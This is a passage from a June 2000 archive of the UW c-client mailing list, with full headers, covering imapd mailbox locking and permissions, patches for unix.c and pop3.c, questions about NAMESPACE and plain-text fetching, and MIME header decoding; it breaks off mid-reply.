[140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA36590 for ; Tue, 6 Jun 2000 13:09:58 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA27240 for ; Tue, 6 Jun 2000 13:09:58 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA32197; Tue, 6 Jun 2000 13:09:58 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pell@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id NAA07682; Tue, 6 Jun 2000 13:09:57 -0700 Message-Id: Date: Tue, 6 Jun 2000 13:07:00 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jason Spangler Cc: "c-client@u.washington.edu" Subject: Re: imap-2000 imapd loosing messages? In-Reply-To: <393D51F0.B660C587@wombatgames.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 06 Jun 2000 14:33:04 -0500, Jason Spangler wrote: > Nope, no sticky bit and no writable by others. Ah, that's the problem. Unless you have an /etc/mlock installed, there's no way for imapd to lock the mailbox.l > I can't find any "mailbox vulnerable" messages in my logs. The -DIGNORE_LOCK_EACCES_ERRORS is responsible for suppressing the message. > The Red Hat RPM of imap (which I modified for imap-2000.BETA) builds imap > with the -DIGNORE_LOCK_EACCES_ERRORS=1 option, could the problem be related > to this? Yes! If you have -DIGNORE_LOCK_EACCES_ERRORS set, then you are saying that you know that all locking will be done by flock() and/or there is an /etc/mlock program installed. Unfortunately, there have been people who have set that flag to silent the "mailbox vulnerable" warning messages, but not doing anything about the vulnerability. From pinedev@shivax2.cac.washington.edu Tue Jun 6 13:20:40 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jun 2000 13:20:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA05580 for ; Tue, 6 Jun 2000 13:20:38 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA07573; Tue, 6 Jun 2000 13:20:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA19117; Tue, 6 Jun 2000 13:20:07 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA32310 for ; Tue, 6 Jun 2000 13:15:53 -0700 Received: from server.wombatgames.com ([208.188.97.107]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA28431 for ; Tue, 6 Jun 2000 13:15:52 -0700 Received: from wombatgames.com (ns [208.188.97.105]) by server.wombatgames.com (8.9.3/8.9.3) with ESMTP id PAA30120; Tue, 6 Jun 2000 15:15:46 -0500 Message-Id: <393D5BBF.397E71A1@wombatgames.com> Date: Tue, 06 Jun 2000 15:14:55 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jason Spangler To: Mark Crispin , "c-client@u.washington.edu" Subject: Re: imap-2000 imapd loosing messages? References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Tue, 06 Jun 2000 14:33:04 -0500, Jason Spangler wrote: > > Nope, no sticky bit and no writable by others. > > Ah, that's the problem. Unless you have an /etc/mlock installed, there's no > way for imapd to lock the mailbox.l I don't know anything about an /etc/mlock, sorry. I'll have to look that up. > > I can't find any "mailbox vulnerable" messages in my logs. > > The -DIGNORE_LOCK_EACCES_ERRORS is responsible for suppressing the message. Doh. > > The Red Hat RPM of imap (which I modified for imap-2000.BETA) builds imap > > with the -DIGNORE_LOCK_EACCES_ERRORS=1 option, could the problem be related > > to this? > > Yes! If you have -DIGNORE_LOCK_EACCES_ERRORS set, then you are saying that > you know that all locking will be done by flock() and/or there is an > /etc/mlock program installed. > > Unfortunately, there have been people who have set that flag to silent the > "mailbox vulnerable" warning messages, but not doing anything about the > vulnerability. So I should try following? chmod 1777 /var/spool/mail rebuild without -DIGNORE_LOCK_EACCES_ERRORS=1 BTW, thanks for the help! From pinedev@shivax2.cac.washington.edu Tue Jun 6 13:25:38 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jun 2000 13:25:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA00198 for ; Tue, 6 Jun 2000 13:25:36 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA27091; Tue, 6 Jun 2000 13:25:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA10153; Tue, 6 Jun 2000 13:25:13 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA25880 for ; Tue, 6 Jun 2000 13:17:43 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA28778 for ; Tue, 6 Jun 2000 13:17:43 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA06823; Tue, 6 Jun 2000 13:17:42 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rambo@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id NAA09047; Tue, 6 Jun 2000 13:17:42 -0700 Message-Id: Date: Tue, 6 Jun 2000 13:17:13 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jason Spangler Cc: "c-client@u.washington.edu" Subject: Re: imap-2000 imapd loosing messages? In-Reply-To: <393D5BBF.397E71A1@wombatgames.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 06 Jun 2000 15:14:55 -0500, Jason Spangler wrote: > So I should try following? > > chmod 1777 /var/spool/mail > rebuild without -DIGNORE_LOCK_EACCES_ERRORS=1 Yes, that will do it. From pinedev@shivax2.cac.washington.edu Wed Jun 7 13:23:14 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Jun 2000 13:23:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA08271 for ; Wed, 7 Jun 2000 13:23:12 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA12509; Wed, 7 Jun 2000 13:23:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA24454; Wed, 7 Jun 2000 13:22:05 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA27512 for ; Wed, 7 Jun 2000 13:18:11 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA08080 for ; Wed, 7 Jun 2000 13:18:10 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jtis@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA31950 for ; Wed, 7 Jun 2000 13:18:10 -0700 Message-Id: Date: Wed, 7 Jun 2000 13:04:36 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rohit Sehgal Cc: imap@u.washington.edu, c-client Interest List Subject: re: UW imap & NameSpace In-Reply-To: <61B452CEA1F9D11195A600A024C65C6902814FB7@exchange2.activevoice.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The first question is what sort of system is running UW imapd. If it is a UNIX based system, then the NAMESPACE command indicates the method to access another user's mailboxes. Normally, this is via the standard shell "~" convention. Whether or not access is permitted depends upon file and directory protections; on most systems access to other users' mailboxes is not permitted unless special steps are done to permit it. Put another way, UW imapd behaves just like any program run from the UNIX shell. If it really is a Windows 2000 based system, then no, the current distribution code does not offer a mechanism to disclose how to access another user's mailboxes via the NAMESPACE extension. I could investigate offering this; it's basically a NetUserGetInfo() call. You can always give a full path name. As on UNIX, whether or not you actually have access to other users' mailboxes depends upon file and directory access control. I don't think that Administrator has unconditional access to all files on the system. Finally, I should reiterate that UW imapd, as distributed, is not a complete email server package for Windows 2000, and probably has to be modified to work with whatever SMTP and mailer package that you choose. If I remember correctly, Microsoft actually does provide an SMTP server by default in Windows 2000, but I have not yet done the work to make UW imapd interoperate with it particularly. On Wed, 7 Jun 2000 12:52:45 -0700 , Rohit Sehgal wrote: > I am using Windows 2000. UW-IMAP Server supports NameSpace in > capability. > Want I want to do is to look into somebody else's mailbox through > IMAP. For example I log in as Administartor and want to see inbox > folder of user Harry. > > Is it possible?? How I do that? From pinedev@shivax2.cac.washington.edu Wed Jun 7 13:53:26 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Jun 2000 13:53:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA17307 for ; Wed, 7 Jun 2000 13:53:25 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA13488; Wed, 7 Jun 2000 13:53:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA07791; Wed, 7 Jun 2000 13:51:31 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA37090 for ; Wed, 7 Jun 2000 13:49:19 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA19422 for ; Wed, 7 Jun 2000 13:49:18 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (marcos@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA13354 for ; Wed, 7 Jun 2000 13:49:17 -0700 Message-Id: Date: Wed, 7 Jun 2000 13:47:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rohit Sehgal Cc: imap@u.washington.edu, c-client Interest List Subject: RE: UW imap & NameSpace In-Reply-To: <61B452CEA1F9D11195A600A024C65C6902814FB8@exchange2.activevoice.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 7 Jun 2000 13:43:25 -0700 , Rohit Sehgal wrote: > I wanted to avoid modifying UW imapd otherwise we need to patch > our server every time new release of UW imapd comes up. > Also, do you have plan to support NTLM authentication for UW > imapd??? I am considering support for both IIS and NTLM. I can not commit to either at the present time. From pinedev@shivax2.cac.washington.edu Thu Jun 8 07:10:29 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jun 2000 07:10:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA15792 for ; Thu, 8 Jun 2000 07:10:28 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA03265; Thu, 8 Jun 2000 07:10:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA05232; Thu, 8 Jun 2000 07:10:01 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA41048 for ; Thu, 8 Jun 2000 07:08:35 -0700 Received: from hermes.atos-group.com (hermes.atos-group.com [160.92.18.9]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA30096 for ; Thu, 8 Jun 2000 07:08:32 -0700 Received: by hermes.atos-group.com with Internet Mail Service (5.5.2448.0) id ; Thu, 8 Jun 2000 16:08:20 +0200 Message-Id: Date: Thu, 8 Jun 2000 16:11:40 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: LIAGRE Arnaud To: c-client@u.washington.edu Cc: "'Mark Crispin'" Subject: catch only the plain-text of a message MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would like to know if it is possible to only catch the plain-text of a body message. It seems that mail_fetchtext () and mail_fetchtext_full () catch the all body so when I want to print it, I see the attachments too. In mtest, there are some examples to check the body (display_body ()). But it doesn't print the typetext message (only the number of lines). So, is there a way to print it ? Best regards, aL. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 8 22:24:04 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jun 2000 22:24:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA23559 for ; Thu, 8 Jun 2000 22:23:54 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA15663; Thu, 8 Jun 2000 22:23:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA26983; Thu, 8 Jun 2000 22:23:24 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA33616 for ; Thu, 8 Jun 2000 22:22:03 -0700 Received: from mx-s0.dreamwiz.com ([211.62.252.141]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA13794 for ; Thu, 8 Jun 2000 22:22:02 -0700 Received: from mail2.dreamwiz.com ([211.62.252.152]) by mx-s0.dreamwiz.com (8.10.0/8.10.0) with ESMTP id e595J6r32468 for ; Fri, 9 Jun 2000 14:19:06 +0900 (KST) Received: from localhost (localhost [127.0.0.1]) by mail2.dreamwiz.com (8.10.0/8.10.0) with ESMTP id e595KAd09547 for ; Fri, 9 Jun 2000 14:20:10 +0900 (KST) Message-Id: <200006090520.e595KAd09547@mail2.dreamwiz.com> Date: Fri, 9 Jun 2000 14:20:10 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sung-hoon.Choi" To: c-client@u.washington.edu Subject: IMAP 4.7 bugs? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=EUC-KR Content-Transfer-Encoding: 8BIT X-Sender-IP: 211.118.99.149 X-Sender-ID: shoon@dreamwiz.com X-Priority: 3 X-DreamWiz-Data: receive_check=0;save=mail2.dreamwiz.com:shoon:Sent:1731; X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. I am a web-mail developer. ( about 1,000,000 mail users ) For web-mail service, we use UW-IMAP package. I had found serveral bugs in UW-IMAP packages 4.7 I made two patches for imap-4.7b. ( imap-4.7c have same bugs? ) 1) unix.c --- unix.c.orig Wed Feb 23 09:43:30 2000 +++ unix.c Thu Jun 8 21:28:54 2000 @@ -321,7 +321,7 @@ *s = '\0'; /* tie off to get just superior */ /* name doesn't exist, create it */ if ((stat (tmp,&sbuf) || ((sbuf.st_mode & S_IFMT) != S_IFDIR)) && - !dummy_create (stream,tmp)) { + !dummy_create (stream,newname)) { unix_unlock (fd,NIL,&lockx); unix_unlock (ld,NIL,NIL); unlink (lock); @@ -1505,6 +1505,7 @@ bs->curpos += k; /* increment new position */ bs->cursize -= k; /* eat that many bytes */ } + if (!bs->cursize) SETPOS (bs,GETPOS (bs)); if (SIZE (bs)) SNX (bs); /* skip over newline if one seen */ ret[i++] = '\n'; /* make sure newline at end */ ret[i] = '\0'; /* makes debugging easier */ First, in blackbox mode, newley created mailbox name is incorrect. ( tmp --> newname ) Second, must do "if (!bs->cursize) SETPOS (bs,GETPOS (bs));" after while() loop if bs->cursize equals j, after while() the bs->cursize becomes zero. So, calling SNX ( bs ) makes bs->cursize too big. 2). pop3.c --- pop3.c.orig Fri Oct 29 13:34:50 1999 +++ pop3.c Thu Jun 8 21:27:44 2000 @@ -503,7 +503,8 @@ } /* abort requested */ else ret = net_sout (LOCAL->netstream,"*\015\012",3); - pop3_reply (stream); /* set up response */ + if ( ret ) ret = pop3_reply (stream); + else pop3_reply (stream); /* set up response */ return ret; } Some POP3 server just closed connection without ERR response when authentication failed. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= DreamWiz Inc. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Development Team ( Mail/Web/Network/System ) Choi, Sung-hoon ( ÃÖ¼ºÈÆ ) Phone : +82-2-550-3541 Fax : +82-2-550-3505 HP : 011-9730-9689 ICQ # : 33529335 WWW : http;//my.dreamwiz.com/shoon/ http://www.netian.com/~shoon/ http://www.chollian.net/~shoon007 / E-mail : mailto:shoon@dreamwiz.com mailto:shoon@netian.com mailto:shoon007@chollian.net =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------------------------- DreamWiz Free Mail @ http://www.dreamwiz.com/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 8 22:51:24 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jun 2000 22:51:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA03176 for ; Thu, 8 Jun 2000 22:51:19 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA29401; Thu, 8 Jun 2000 22:51:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA27448; Thu, 8 Jun 2000 22:51:02 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA25900 for ; Thu, 8 Jun 2000 22:50:38 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA16284 for ; Thu, 8 Jun 2000 22:50:38 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA18657; Thu, 8 Jun 2000 22:50:37 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (v92ti@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id WAA21766; Thu, 8 Jun 2000 22:50:37 -0700 Message-Id: Date: Thu, 8 Jun 2000 22:38:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Sung-hoon.Choi" Cc: c-client@u.washington.edu Subject: re: IMAP 4.7 bugs? In-Reply-To: <200006090520.e595KAd09547@mail2.dreamwiz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you very much for your patches! I have adopted your unix.c patches in the latest imap-2000 snapshot: ftp://ftp.cac.washington.edu/mail/imap-2000.BETA.tar.Z exactly as you suggested. I made a slight modification to your pop3.c patch. imap-4.7 is no longer actively developed. Please test imap-2000, since that is the version that is currently being developed. imap-2000 has other bugfixes and several desirable new features, most notably SSL support. From pinedev@shivax2.cac.washington.edu Sun Jun 11 15:44:16 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jun 2000 15:44:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA30304 for ; Sun, 11 Jun 2000 15:44:15 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA22439; Sun, 11 Jun 2000 15:44:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA21956; Sun, 11 Jun 2000 15:43:50 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA42662 for ; Sun, 11 Jun 2000 15:42:22 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA03710 for ; Sun, 11 Jun 2000 15:42:22 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA22415 for ; Sun, 11 Jun 2000 15:42:17 -0700 Received: from speedy.swi.com.br (chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.3/8.9.3) with ESMTP id TAA20414 for ; Sun, 11 Jun 2000 19:43:48 -0300 Message-Id: <200006112243.TAA20414@stratus.swi.com.br> Date: Sun, 11 Jun 2000 19:43:48 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@CAC.Washington.EDU Subject: decode Header Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, This is a newbe question, but I did not figure it out. What kind of encode is the following text: =?ISO-8859-1?Q?F=E1bio_Oliv=E9_Leite?= It is a From: header. It probably is a quoted-printable one. But the question is why isn't the '=?ISO-8859-1?Q?' part decoded too? I know I can just cut it off myself, but I want to know what is going on before doing it. Thanks, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jun 11 20:09:33 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jun 2000 20:09:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA18010 for ; Sun, 11 Jun 2000 20:09:31 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA07753; Sun, 11 Jun 2000 20:09:29 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA07340; Sun, 11 Jun 2000 20:09:13 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA20718 for ; Sun, 11 Jun 2000 20:08:30 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA19597 for ; Sun, 11 Jun 2000 20:08:29 -0700 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id UAA07734 for ; Sun, 11 Jun 2000 20:08:28 -0700 Received: from GRAND-CENTRAL-STATION.MIT.EDU by MIT.EDU with SMTP id AA24318; Sun, 11 Jun 00 23:08:14 EDT Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id XAA11615; Sun, 11 Jun 2000 23:08:26 -0400 (EDT) Received: from well.mit.edu (IDENT:jmorzins@WELL.MIT.EDU [18.250.1.77]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with ESMTP id XAA16189; Sun, 11 Jun 2000 23:08:25 -0400 (EDT) Received: from localhost by well.mit.edu (8.8.7/4.7) id XAA21230; Sun, 11 Jun 2000 23:08:25 -0400 Message-Id: Date: Sun, 11 Jun 2000 23:08:24 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jacob Morzinski To: Raul Dias Cc: c-client@CAC.Washington.EDU Subject: Re: decode Header In-Reply-To: <200006112243.TAA20414@stratus.swi.com.br> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 11 Jun 2000, Raul Dias wrote: > What kind of encode is the following text: > =?ISO-8859-1?Q?F=E1bio_Oliv=E9_Leite?= You should read RFC 2047 (MIME Part Three: Message Header Extensions for Non-ASCII Text). It describes 